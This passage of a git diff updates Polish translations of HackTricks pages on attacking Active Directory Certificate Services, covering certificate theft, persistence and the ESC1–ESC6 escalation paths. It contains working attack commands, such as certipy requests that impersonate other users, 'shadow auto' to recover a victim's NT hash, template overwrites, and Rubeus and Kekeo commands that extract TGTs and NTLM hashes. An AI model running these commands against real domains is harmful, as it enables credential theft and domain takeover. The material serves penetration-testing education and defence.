dodania KeyCredentials w celu uzyskania TGT i ujawnienia NT hash. Opcje czyszczenia i taktyki rekurencyjnego wykorzystania zwiększają jego użyteczność. ## References diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates.md b/src/windows-hardening/active-directory-methodology/ad-certificates.md index d1adb04b3..8f94b5c88 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates.md @@ -10,16 +10,16 @@ - **Klucz publiczny** jest sparowany z kluczem prywatnym, aby powiązać certyfikat z jego prawowitym właścicielem. - **Okres ważności**, określony przez daty **NotBefore** i **NotAfter**, oznacza czas obowiązywania certyfikatu. - Unikalny **Numer seryjny**, dostarczony przez Urząd Certyfikacji (CA), identyfikuje każdy certyfikat. -- **Wystawca** odnosi się do CA, który wydał certyfikat. +- **Wydawca** odnosi się do CA, który wydał certyfikat. - **SubjectAlternativeName** pozwala na dodatkowe nazwy dla podmiotu, zwiększając elastyczność identyfikacji. -- **Podstawowe ograniczenia** identyfikują, czy certyfikat jest dla CA czy podmiotu końcowego oraz definiują ograniczenia użytkowania. -- **Rozszerzone zastosowania kluczy (EKU)** określają konkretne cele certyfikatu, takie jak podpisywanie kodu czy szyfrowanie e-maili, za pomocą identyfikatorów obiektów (OID). +- **Podstawowe ograniczenia** identyfikują, czy certyfikat jest dla CA, czy dla podmiotu końcowego, oraz definiują ograniczenia użytkowania. +- **Rozszerzone zastosowania klucza (EKU)** określają konkretne cele certyfikatu, takie jak podpisywanie kodu lub szyfrowanie e-maili, za pomocą identyfikatorów obiektów (OID). - **Algorytm podpisu** określa metodę podpisywania certyfikatu. -- **Podpis**, stworzony za pomocą klucza prywatnego wystawcy, gwarantuje autentyczność certyfikatu. +- **Podpis**, stworzony za pomocą klucza prywatnego wydawcy, gwarantuje autentyczność certyfikatu. ### Specjalne uwagi -- **Nazwy alternatywne podmiotu (SAN)** rozszerzają zastosowanie certyfikatu na wiele tożsamości, co jest kluczowe dla serwerów z wieloma domenami. Bezpieczne procesy wydawania są niezbędne, aby uniknąć ryzyka podszywania się przez atakujących manipulujących specyfikacją SAN. +- **Alternatywne nazwy podmiotu (SAN)** rozszerzają zastosowanie certyfikatu na wiele tożsamości, co jest kluczowe dla serwerów z wieloma domenami. Bezpieczne procesy wydawania są niezbędne, aby uniknąć ryzyka podszywania się przez atakujących manipulujących specyfikacją SAN. ### Urzędy Certyfikacji (CA) w Active Directory (AD) @@ -35,7 +35,7 @@ AD CS uznaje certyfikaty CA w lesie AD poprzez wyznaczone kontenery, z których 1. Proces żądania rozpoczyna się od znalezienia przez klientów CA przedsiębiorstwa. 2. Tworzony jest CSR, zawierający klucz publiczny i inne szczegóły, po wygenerowaniu pary kluczy publiczno-prywatnych. 3. CA ocenia CSR w odniesieniu do dostępnych szablonów certyfikatów, wydając certyfikat na podstawie uprawnień szablonu. -4. Po zatwierdzeniu, CA podpisuje certyfikat swoim kluczem prywatnym i zwraca go do klienta. +4. Po zatwierdzeniu CA podpisuje certyfikat swoim kluczem prywatnym i zwraca go klientowi. ### Szablony certyfikatów @@ -51,7 +51,7 @@ Aby klient mógł zażądać certyfikatu, muszą być przyznane **prawa rejestra Prawa te są określone za pomocą wpisów kontroli dostępu (ACE), szczegółowo opisujących uprawnienia, takie jak: -- Prawa **Certificate-Enrollment** i **Certificate-AutoEnrollment**, z każdym związanym z określonym GUID. +- Prawa **Certificate-Enrollment** i **Certificate-AutoEnrollment**, z każdym związanym z określonymi GUID. - **ExtendedRights**, pozwalające na wszystkie rozszerzone uprawnienia. - **FullControl/GenericAll**, zapewniające pełną kontrolę nad szablonem. @@ -87,7 +87,7 @@ Active Directory (AD) wspiera uwierzytelnianie za pomocą certyfikatów, główn ### Proces Uwierzytelniania Kerberos -W procesie uwierzytelniania Kerberos, żądanie użytkownika o Ticket Granting Ticket (TGT) jest podpisywane za pomocą **klucza prywatnego** certyfikatu użytkownika. To żądanie przechodzi przez kilka walidacji przez kontroler domeny, w tym **ważność** certyfikatu, **ścieżkę** oraz **status unieważnienia**. Walidacje obejmują również weryfikację, że certyfikat pochodzi z zaufanego źródła oraz potwierdzenie obecności wystawcy w **sklepie certyfikatów NTAUTH**. Pomyślne walidacje skutkują wydaniem TGT. Obiekt **`NTAuthCertificates`** w AD, znajdujący się pod: +W procesie uwierzytelniania Kerberos, żądanie użytkownika o Ticket Granting Ticket (TGT) jest podpisywane za pomocą **klucza prywatnego** certyfikatu użytkownika. To żądanie przechodzi przez kilka walidacji przez kontroler domeny, w tym **ważność** certyfikatu, **ścieżkę** oraz **status unieważnienia**. Walidacje obejmują również weryfikację, że certyfikat pochodzi z zaufanego źródła oraz potwierdzenie obecności wystawcy w **magazynie certyfikatów NTAUTH**. Pomyślne walidacje skutkują wydaniem TGT. Obiekt **`NTAuthCertificates`** w AD, znajdujący się pod: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index 0c0f9078a..4c24dc03b 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -35,7 +35,7 @@ AD CS uznaje certyfikaty CA w lesie AD poprzez wyznaczone kontenery, z których 1. Proces żądania rozpoczyna się od znalezienia przez klientów Enterprise CA. 2. Tworzony jest CSR, zawierający klucz publiczny i inne szczegóły, po wygenerowaniu pary kluczy publiczno-prywatnych. 3. CA ocenia CSR w odniesieniu do dostępnych szablonów certyfikatów, wydając certyfikat na podstawie uprawnień szablonu. -4. Po zatwierdzeniu, CA podpisuje certyfikat swoim kluczem prywatnym i zwraca go do klienta. +4. Po zatwierdzeniu, CA podpisuje certyfikat swoim kluczem prywatnym i zwraca go klientowi. ### Szablony certyfikatów @@ -43,7 +43,7 @@ Zdefiniowane w AD, te szablony określają ustawienia i uprawnienia do wydawania ## Rejestracja certyfikatów -Proces rejestracji certyfikatów inicjuje administrator, który **tworzy szablon certyfikatu**, który następnie jest **publikowany** przez Enterprise Certificate Authority (CA). Umożliwia to dostępność szablonu do rejestracji przez klientów, co osiąga się poprzez dodanie nazwy szablonu do pola `certificatetemplates` obiektu Active Directory. +Proces rejestracji certyfikatów inicjuje administrator, który **tworzy szablon certyfikatu**, który następnie jest **publikowany** przez Enterprise Certificate Authority (CA). To sprawia, że szablon jest dostępny do rejestracji przez klientów, co osiąga się poprzez dodanie nazwy szablonu do pola `certificatetemplates` obiektu Active Directory. Aby klient mógł zażądać certyfikatu, muszą być przyznane **prawa rejestracji**. Prawa te są definiowane przez deskryptory zabezpieczeń na szablonie certyfikatu oraz samym Enterprise CA. Uprawnienia muszą być przyznane w obu lokalizacjach, aby żądanie mogło być skuteczne. @@ -64,7 +64,7 @@ Prawa CA są określone w jego deskryptorze zabezpieczeń, dostępnym za pośred Mogą obowiązywać pewne kontrole, takie jak: - **Zatwierdzenie menedżera**: Umieszcza żądania w stanie oczekiwania do zatwierdzenia przez menedżera certyfikatów. -- **Agenci rejestracji i autoryzowane podpisy**: Określają liczbę wymaganych podpisów na CSR oraz niezbędne identyfikatory polityki aplikacji OID. +- **Agenci rejestracji i autoryzowane podpisy**: Określają liczbę wymaganych podpisów na CSR oraz niezbędne OID polityki aplikacji. ### Metody żądania certyfikatów @@ -72,9 +72,9 @@ Certyfikaty można żądać za pośrednictwem: 1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), używając interfejsów DCOM. 2. **ICertPassage Remote Protocol** (MS-ICPR), przez potok nazwany lub TCP/IP. -3. **interfejsu internetowego rejestracji certyfikatów**, z zainstalowaną rolą Web Enrollment Urzędu Certyfikacji. +3. **Interfejsu internetowego rejestracji certyfikatów**, z zainstalowaną rolą Web Enrollment Urzędu Certyfikacji. 4. **Usługi rejestracji certyfikatów** (CES), w połączeniu z usługą polityki rejestracji certyfikatów (CEP). -5. **Usługi rejestracji urządzeń sieciowych** (NDES) dla urządzeń sieciowych, używając Protokół Prostej Rejestracji Certyfikatów (SCEP). +5. **Usługi rejestracji urządzeń sieciowych** (NDES) dla urządzeń sieciowych, używając prostego protokołu rejestracji certyfikatów (SCEP). Użytkownicy systemu Windows mogą również żądać certyfikatów za pośrednictwem GUI (`certmgr.msc` lub `certlm.msc`) lub narzędzi wiersza poleceń (`certreq.exe` lub polecenia `Get-Certificate` PowerShell). ```powershell @@ -87,7 +87,7 @@ Active Directory (AD) wspiera uwierzytelnianie za pomocą certyfikatów, główn ### Proces Uwierzytelniania Kerberos -W procesie uwierzytelniania Kerberos, żądanie użytkownika o Ticket Granting Ticket (TGT) jest podpisywane za pomocą **klucza prywatnego** certyfikatu użytkownika. To żądanie przechodzi przez kilka walidacji przez kontroler domeny, w tym **ważność** certyfikatu, **ścieżkę** oraz **status unieważnienia**. Walidacje obejmują również weryfikację, że certyfikat pochodzi z zaufanego źródła oraz potwierdzenie obecności wystawcy w **magazynie certyfikatów NTAUTH**. Pomyślne walidacje skutkują wydaniem TGT. Obiekt **`NTAuthCertificates`** w AD, znajdujący się pod: +W procesie uwierzytelniania Kerberos, żądanie użytkownika o Ticket Granting Ticket (TGT) jest podpisywane za pomocą **klucza prywatnego** certyfikatu użytkownika. To żądanie przechodzi przez kilka walidacji przez kontroler domeny, w tym **ważność**, **ścieżkę** i **status unieważnienia** certyfikatu. Walidacje obejmują również weryfikację, że certyfikat pochodzi z zaufanego źródła oraz potwierdzenie obecności wystawcy w **magazynie certyfikatów NTAUTH**. Pomyślne walidacje skutkują wydaniem TGT. Obiekt **`NTAuthCertificates`** w AD, znajdujący się pod: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` @@ -99,7 +99,7 @@ Schannel ułatwia bezpieczne połączenia TLS/SSL, gdzie podczas handshake klien ### Enumeracja usług certyfikatów AD -Usługi certyfikatów AD mogą być enumerowane za pomocą zapytań LDAP, ujawniając informacje o **Enterprise Certificate Authorities (CAs)** i ich konfiguracjach. Jest to dostępne dla każdego użytkownika uwierzytelnionego w domenie bez specjalnych uprawnień. Narzędzia takie jak **[Certify](https://github.com/GhostPack/Certify)** i **[Certipy](https://github.com/ly4k/Certipy)** są używane do enumeracji i oceny podatności w środowiskach AD CS. +Usługi certyfikatów AD można enumerować za pomocą zapytań LDAP, ujawniając informacje o **Enterprise Certificate Authorities (CAs)** i ich konfiguracjach. Jest to dostępne dla każdego użytkownika uwierzytelnionego w domenie bez specjalnych uprawnień. Narzędzia takie jak **[Certify](https://github.com/GhostPack/Certify)** i **[Certipy](https://github.com/ly4k/Certipy)** są używane do enumeracji i oceny podatności w środowiskach AD CS. Polecenia do korzystania z tych narzędzi obejmują: ```bash diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md index 5c57868b6..d34fb16fc 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md @@ -22,13 +22,13 @@ Po pomyślnym żądaniu generowany jest certyfikat wraz z jego kluczem prywatnym ```bash openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx ``` -Plik `.pfx` może być następnie przesłany do systemu docelowego i użyty z narzędziem o nazwie [**Rubeus**](https://github.com/GhostPack/Rubeus) do żądania Ticket Granting Ticket (TGT) dla użytkownika, przedłużając dostęp atakującego na czas, gdy certyfikat jest **ważny** (zazwyczaj przez rok): +Plik `.pfx` może być następnie przesłany do systemu docelowego i użyty z narzędziem o nazwie [**Rubeus**](https://github.com/GhostPack/Rubeus) do żądania Ticket Granting Ticket (TGT) dla użytkownika, przedłużając dostęp atakującego tak długo, jak certyfikat jest **ważny** (zazwyczaj przez rok): ```bash Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass! ``` -Ważne ostrzeżenie dotyczy tego, jak ta technika, w połączeniu z inną metodą opisaną w sekcji **THEFT5**, pozwala atakującemu na trwałe uzyskanie **NTLM hash** konta bez interakcji z Local Security Authority Subsystem Service (LSASS) i z kontekstu niepodwyższonego, co zapewnia bardziej dyskretną metodę długoterminowego kradzieży poświadczeń. +Ważne ostrzeżenie dotyczy tego, jak ta technika, w połączeniu z inną metodą opisaną w sekcji **THEFT5**, pozwala atakującemu na trwałe uzyskanie **NTLM hash** konta bez interakcji z Local Security Authority Subsystem Service (LSASS) i z kontekstu niepodwyższonego, co zapewnia bardziej dyskretną metodę kradzieży poświadczeń na dłuższy czas. -## **Uzyskiwanie trwałości maszyny za pomocą certyfikatów - PERSIST2** +## **Zyskiwanie trwałości maszyny za pomocą certyfikatów - PERSIST2** Inna metoda polega na zarejestrowaniu konta maszyny skompromitowanego systemu na certyfikat, wykorzystując domyślny szablon `Machine`, który pozwala na takie działania. Jeśli atakujący uzyska podwyższone uprawnienia w systemie, może użyć konta **SYSTEM** do żądania certyfikatów, co zapewnia formę **trwałości**: ```bash diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md index f77e768d6..b12c8b81b 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -**To jest małe podsumowanie rozdziałów o kradzieży z niesamowitych badań z [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)** +**To mały podsumowanie rozdziałów o kradzieży z niesamowitych badań z [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)** ## Co mogę zrobić z certyfikatem @@ -34,7 +34,7 @@ Więcej informacji o DPAPI w: ../../windows-local-privilege-escalation/dpapi-extracting-passwords.md {{#endref}} -W systemie Windows, **klucze prywatne certyfikatów są chronione przez DPAPI**. Ważne jest, aby rozpoznać, że **lokalizacje przechowywania kluczy prywatnych użytkownika i maszyny** są różne, a struktury plików różnią się w zależności od używanego przez system operacyjny API kryptograficznego. **SharpDPAPI** to narzędzie, które może automatycznie poruszać się po tych różnicach podczas deszyfrowania blobów DPAPI. +W systemie Windows **klucze prywatne certyfikatów są chronione przez DPAPI**. Ważne jest, aby rozpoznać, że **lokalizacje przechowywania kluczy prywatnych użytkownika i maszyny** są różne, a struktury plików różnią się w zależności od używanego przez system operacyjny API kryptograficznego. **SharpDPAPI** to narzędzie, które może automatycznie poruszać się po tych różnicach podczas deszyfrowania blobów DPAPI. **Certyfikaty użytkowników** są głównie przechowywane w rejestrze pod `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, ale niektóre można również znaleźć w katalogu `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. Odpowiednie **klucze prywatne** dla tych certyfikatów są zazwyczaj przechowywane w `%APPDATA%\Microsoft\Crypto\RSA\User SID\` dla kluczy **CAPI** i `%APPDATA%\Microsoft\Crypto\Keys\` dla kluczy **CNG**. @@ -94,9 +94,9 @@ john --wordlist=passwords.txt hash.txt Podany materiał wyjaśnia metodę kradzieży poświadczeń NTLM za pomocą PKINIT, szczególnie poprzez metodę kradzieży oznaczoną jako THEFT5. Oto ponowne wyjaśnienie w stronie biernej, z zanonimizowanym i podsumowanym materiałem tam, gdzie to możliwe: -Aby wspierać uwierzytelnianie NTLM [MS-NLMP] dla aplikacji, które nie umożliwiają uwierzytelniania Kerberos, KDC jest zaprojektowany tak, aby zwracać jedną funkcję NTLM (OWF) użytkownika w certyfikacie atrybutu uprawnień (PAC), szczególnie w buforze `PAC_CREDENTIAL_INFO`, gdy wykorzystywane jest PKCA. W konsekwencji, jeśli konto uwierzytelni się i zabezpieczy Ticket-Granting Ticket (TGT) za pomocą PKINIT, wbudowany mechanizm umożliwia bieżącemu hostowi wydobycie hasha NTLM z TGT, aby wspierać starsze protokoły uwierzytelniania. Proces ten obejmuje deszyfrowanie struktury `PAC_CREDENTIAL_DATA`, która jest zasadniczo zserializowanym przedstawieniem NTLM w postaci jawnej. +Aby wspierać uwierzytelnianie NTLM [MS-NLMP] dla aplikacji, które nie umożliwiają uwierzytelniania Kerberos, KDC jest zaprojektowany tak, aby zwracać jednostronną funkcję NTLM użytkownika (OWF) w certyfikacie atrybutów uprawnień (PAC), szczególnie w buforze `PAC_CREDENTIAL_INFO`, gdy wykorzystywane jest PKCA. W konsekwencji, jeśli konto uwierzytelni się i zabezpieczy Ticket-Granting Ticket (TGT) za pomocą PKINIT, wbudowany mechanizm umożliwia bieżącemu hostowi wydobycie hasha NTLM z TGT, aby wspierać starsze protokoły uwierzytelniania. Proces ten obejmuje deszyfrowanie struktury `PAC_CREDENTIAL_DATA`, która jest zasadniczo zserializowanym przedstawieniem NTLM w postaci jawnej. -Narzędzie **Kekeo**, dostępne pod adresem [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo), jest wspomniane jako zdolne do żądania TGT zawierającego te konkretne dane, co ułatwia odzyskanie NTLM użytkownika. Używana do tego celu komenda jest następująca: +Narzędzie **Kekeo**, dostępne pod adresem [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo), jest wspomniane jako zdolne do żądania TGT zawierającego te konkretne dane, co ułatwia odzyskanie NTLM użytkownika. Komenda używana w tym celu jest następująca: ```bash tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local ``` diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 027d99320..d61430f75 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -57,7 +57,7 @@ Enumeracja szablonów certyfikatów w schemacie konfiguracji lasu AD, szczególn ### Wyjaśnienie -Drugi scenariusz nadużycia jest wariacją pierwszego: +Drugi scenariusz nadużycia jest wariantem pierwszego: 1. Prawa do rejestracji są przyznawane użytkownikom o niskich uprawnieniach przez Enterprise CA. 2. Wymóg zatwierdzenia przez menedżera jest wyłączony. @@ -65,11 +65,11 @@ Drugi scenariusz nadużycia jest wariacją pierwszego: 4. Zbyt liberalny opis zabezpieczeń na szablonie certyfikatu przyznaje prawa do rejestracji certyfikatów użytkownikom o niskich uprawnieniach. 5. **Szablon certyfikatu jest zdefiniowany tak, aby obejmował Any Purpose EKU lub nie miał EKU.** -**Any Purpose EKU** pozwala na uzyskanie certyfikatu przez atakującego w **dowolnym celu**, w tym uwierzytelniania klienta, uwierzytelniania serwera, podpisywania kodu itp. Ta sama **technika używana w ESC3** może być wykorzystana do wykorzystania tego scenariusza. +**Any Purpose EKU** pozwala na uzyskanie certyfikatu przez atakującego w **dowolnym celu**, w tym uwierzytelnianie klienta, uwierzytelnianie serwera, podpisywanie kodu itp. Ta sama **technika używana w ESC3** może być wykorzystana do wykorzystania tego scenariusza. -Certyfikaty z **brakiem EKU**, które działają jako certyfikaty podrzędnych CA, mogą być wykorzystywane w **dowolnym celu** i mogą **również być używane do podpisywania nowych certyfikatów**. W związku z tym atakujący mógłby określić dowolne EKU lub pola w nowych certyfikatach, wykorzystując certyfikat podrzędnego CA. +Certyfikaty z **brakiem EKU**, które działają jako certyfikaty podrzędnej CA, mogą być wykorzystywane w **dowolnym celu** i mogą **również być używane do podpisywania nowych certyfikatów**. W związku z tym atakujący mógłby określić dowolne EKU lub pola w nowych certyfikatach, wykorzystując certyfikat podrzędnej CA. -Jednak nowe certyfikaty utworzone do **uwierzytelniania domeny** nie będą działać, jeśli podrzędny CA nie jest zaufany przez obiekt **`NTAuthCertificates`**, co jest ustawieniem domyślnym. Niemniej jednak atakujący może nadal tworzyć **nowe certyfikaty z dowolnym EKU** i dowolnymi wartościami certyfikatu. Mogą one być potencjalnie **nadużywane** do szerokiego zakresu celów (np. podpisywanie kodu, uwierzytelnianie serwera itp.) i mogą mieć znaczące konsekwencje dla innych aplikacji w sieci, takich jak SAML, AD FS lub IPSec. +Jednak nowe certyfikaty utworzone do **uwierzytelniania domeny** nie będą działać, jeśli podrzędna CA nie jest zaufana przez obiekt **`NTAuthCertificates`**, co jest ustawieniem domyślnym. Niemniej jednak atakujący może nadal tworzyć **nowe certyfikaty z dowolnym EKU** i dowolnymi wartościami certyfikatu. Mogą one być potencjalnie **nadużywane** do szerokiego zakresu celów (np. podpisywanie kodu, uwierzytelnianie serwera itp.) i mogą mieć znaczące implikacje dla innych aplikacji w sieci, takich jak SAML, AD FS lub IPSec. Aby wyliczyć szablony, które pasują do tego scenariusza w schemacie konfiguracji lasu AD, można uruchomić następujące zapytanie LDAP: ``` @@ -79,7 +79,7 @@ Aby wyliczyć szablony, które pasują do tego scenariusza w schemacie konfigura ### Wyjaśnienie -Ten scenariusz jest podobny do pierwszego i drugiego, ale **wykorzystuje** **inny EKU** (Agent Żądania Certyfikatu) i **2 różne szablony** (dlatego ma 2 zestawy wymagań), +Ten scenariusz jest podobny do pierwszego i drugiego, ale **wykorzystuje** **inny EKU** (Agent Żądania Certyfikatu) oraz **2 różne szablony** (dlatego ma 2 zestawy wymagań), **EKU Agenta Żądania Certyfikatu** (OID 1.3.6.1.4.1.311.20.2.1), znany jako **Agent Rejestracji** w dokumentacji Microsoft, pozwala podmiotowi na **rejestrację** certyfikatu **w imieniu innego użytkownika**. @@ -97,7 +97,7 @@ Ten scenariusz jest podobny do pierwszego i drugiego, ale **wykorzystuje** **inn - Enterprise CA przyznaje prawa do rejestracji użytkownikom o niskich uprawnieniach. - Zatwierdzenie przez menedżera jest pomijane. -- Wersja schematu szablonu to 1 lub więcej niż 2, a on określa Wymóg Wydania Polityki Aplikacji, który wymaga EKU Agenta Żądania Certyfikatu. +- Wersja schematu szablonu to 1 lub więcej niż 2, i określa Wymóg Wydania Polityki Aplikacji, który wymaga EKU Agenta Żądania Certyfikatu. - EKU zdefiniowane w szablonie certyfikatu zezwala na uwierzytelnianie w domenie. - Ograniczenia dla agentów rejestracji nie są stosowane w CA. @@ -117,7 +117,7 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -**Użytkownicy**, którzy mają prawo do **uzyskania** **certyfikatu agenta rejestracji**, szablony, w których agenci rejestracji mogą się rejestrować, oraz **kont** w imieniu których agent rejestracji może działać, mogą być ograniczeni przez korporacyjne CA. Osiąga się to poprzez otwarcie **snap-in** `certsrc.msc`, **kliknięcie prawym przyciskiem myszy na CA**, **wybranie Właściwości**, a następnie **przejście** do zakładki „Agenci rejestracji”. +**Użytkownicy**, którzy mają prawo do **uzyskania** **certyfikatu agenta rejestracji**, szablony, w których agenci rejestracji mogą się rejestrować, oraz **kont** w imieniu których agent rejestracji może działać, mogą być ograniczeni przez CA przedsiębiorstwa. Osiąga się to poprzez otwarcie **snap-in** `certsrc.msc`, **kliknięcie prawym przyciskiem myszy na CA**, **wybranie Właściwości**, a następnie **nawigację** do zakładki „Agenci rejestracji”. Należy jednak zauważyć, że **domyślne** ustawienie dla CA to „**Nie ograniczaj agentów rejestracji**.” Gdy ograniczenie dla agentów rejestracji jest włączone przez administratorów, ustawienie na „Ogranicz agentów rejestracji” pozostaje niezwykle liberalne. Umożliwia to **Wszystkim** dostęp do rejestracji we wszystkich szablonach jako ktokolwiek. @@ -125,7 +125,7 @@ Należy jednak zauważyć, że **domyślne** ustawienie dla CA to „**Nie ogran ### **Wyjaśnienie** -**Opis zabezpieczeń** na **szablonach certyfikatów** definiuje **uprawnienia**, które konkretni **główne AD** posiadają w odniesieniu do szablonu. +**Opis zabezpieczeń** na **szablonach certyfikatów** definiuje **uprawnienia**, które konkretne **podmioty AD** posiadają w odniesieniu do szablonu. Jeśli **atakujący** posiada wymagane **uprawnienia** do **zmiany** **szablonu** i **wprowadzenia** jakichkolwiek **wykorzystywalnych błędów konfiguracyjnych** opisanych w **wcześniejszych sekcjach**, może to ułatwić eskalację uprawnień. @@ -133,7 +133,7 @@ Znaczące uprawnienia stosowane do szablonów certyfikatów obejmują: - **Właściciel:** Przyznaje domyślną kontrolę nad obiektem, umożliwiając modyfikację dowolnych atrybutów. - **Pełna kontrola:** Umożliwia pełną władzę nad obiektem, w tym możliwość zmiany dowolnych atrybutów. -- **Zapisz właściciela:** Umożliwia zmianę właściciela obiektu na główną kontrolowaną przez atakującego. +- **Zapisz właściciela:** Umożliwia zmianę właściciela obiektu na podmiot kontrolowany przez atakującego. - **Zapisz Dacl:** Umożliwia dostosowanie kontroli dostępu, potencjalnie przyznając atakującemu Pełną kontrolę. - **Zapisz właściwość:** Upoważnia do edytowania dowolnych właściwości obiektu. @@ -145,11 +145,11 @@ Przykład eskalacji uprawnień jak w poprzednim przypadku: ESC4 to sytuacja, gdy użytkownik ma uprawnienia do zapisu w szablonie certyfikatu. Może to być na przykład nadużyte do nadpisania konfiguracji szablonu certyfikatu, aby uczynić szablon podatnym na ESC1. -Jak widać w powyższej ścieżce, tylko `JOHNPC` ma te uprawnienia, ale nasz użytkownik `JOHN` ma nowy `AddKeyCredentialLink` do `JOHNPC`. Ponieważ ta technika jest związana z certyfikatami, wdrożyłem również ten atak, znany jako [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Oto mały podgląd polecenia `shadow auto` Certipy do odzyskania NT hasha ofiary. +Jak widać w powyższej ścieżce, tylko `JOHNPC` ma te uprawnienia, ale nasz użytkownik `JOHN` ma nowy `AddKeyCredentialLink` do `JOHNPC`. Ponieważ ta technika jest związana z certyfikatami, wdrożyłem również ten atak, który jest znany jako [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Oto mały podgląd polecenia `shadow auto` Certipy do odzyskania NT hasha ofiary. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** może nadpisać konfigurację szablonu certyfikatu za pomocą jednego polecenia. Domyślnie **Certipy** **nadpisze** konfigurację, aby uczynić ją **wrażliwą na ESC1**. Możemy również określić **parametr `-save-old`, aby zapisać starą konfigurację**, co będzie przydatne do **przywracania** konfiguracji po naszym ataku. +**Certipy** może nadpisać konfigurację szablonu certyfikatu za pomocą jednego polecenia. Domyślnie **Certipy** nadpisze konfigurację, aby uczynić ją **wrażliwą na ESC1**. Możemy również określić **parametr `-save-old`, aby zapisać starą konfigurację**, co będzie przydatne do **przywracania** konfiguracji po naszym ataku. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -170,15 +170,15 @@ Rozbudowana sieć powiązań opartych na ACL, która obejmuje kilka obiektów po - Serwer RPC/DCOM serwera CA. - Każdy obiekt lub kontener AD będący potomkiem w określonej ścieżce kontenera `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Ścieżka ta obejmuje, ale nie ogranicza się do, kontenerów i obiektów takich jak kontener szablonów certyfikatów, kontener urzędów certyfikacji, obiekt NTAuthCertificates oraz kontener usług rejestracji. -Bezpieczeństwo systemu PKI może zostać skompromitowane, jeśli atakujący o niskich uprawnieniach zdoła przejąć kontrolę nad którymkolwiek z tych krytycznych komponentów. +Bezpieczeństwo systemu PKI może być zagrożone, jeśli atakujący o niskich uprawnieniach zdoła przejąć kontrolę nad którymkolwiek z tych krytycznych komponentów. ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 ### Wyjaśnienie -Temat poruszony w [**poście CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) dotyczy również implikacji flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, jak opisano przez Microsoft. Ta konfiguracja, gdy jest aktywowana na Urzędzie Certyfikacji (CA), pozwala na włączenie **wartości zdefiniowanych przez użytkownika** w **alternatywnym nazwie podmiotu** dla **dowolnego żądania**, w tym tych skonstruowanych z Active Directory®. W konsekwencji, ten przepis pozwala **intruzowi** na rejestrację za pomocą **dowolnego szablonu** skonfigurowanego do **uwierzytelniania** w domenie—szczególnie tych otwartych na rejestrację **użytkowników bez uprawnień**, jak standardowy szablon użytkownika. W rezultacie można zabezpieczyć certyfikat, umożliwiając intruzowi uwierzytelnienie jako administrator domeny lub **jakikolwiek inny aktywny podmiot** w domenie. +Temat poruszony w [**poście CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) dotyczy również implikacji flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, jak opisano przez Microsoft. Ta konfiguracja, gdy jest aktywowana na Urzędzie Certyfikacji (CA), pozwala na włączenie **wartości zdefiniowanych przez użytkownika** w **alternatywnym nazwie podmiotu** dla **dowolnego żądania**, w tym tych skonstruowanych z Active Directory®. W związku z tym, ten przepis pozwala **intruzowi** na rejestrację za pomocą **dowolnego szablonu** skonfigurowanego do **uwierzytelniania** w domenie—szczególnie tych otwartych na rejestrację **użytkowników bez uprawnień**, jak standardowy szablon użytkownika. W rezultacie można zabezpieczyć certyfikat, umożliwiając intruzowi uwierzytelnienie jako administrator domeny lub **jakikolwiek inny aktywny podmiot** w domenie. -**Uwaga**: Podejście do dodawania **alternatywnych nazw** do Żądania Podpisania Certyfikatu (CSR), za pomocą argumentu `-attrib "SAN:"` w `certreq.exe` (nazywanego „Pary Nazwa-Wartość”), przedstawia 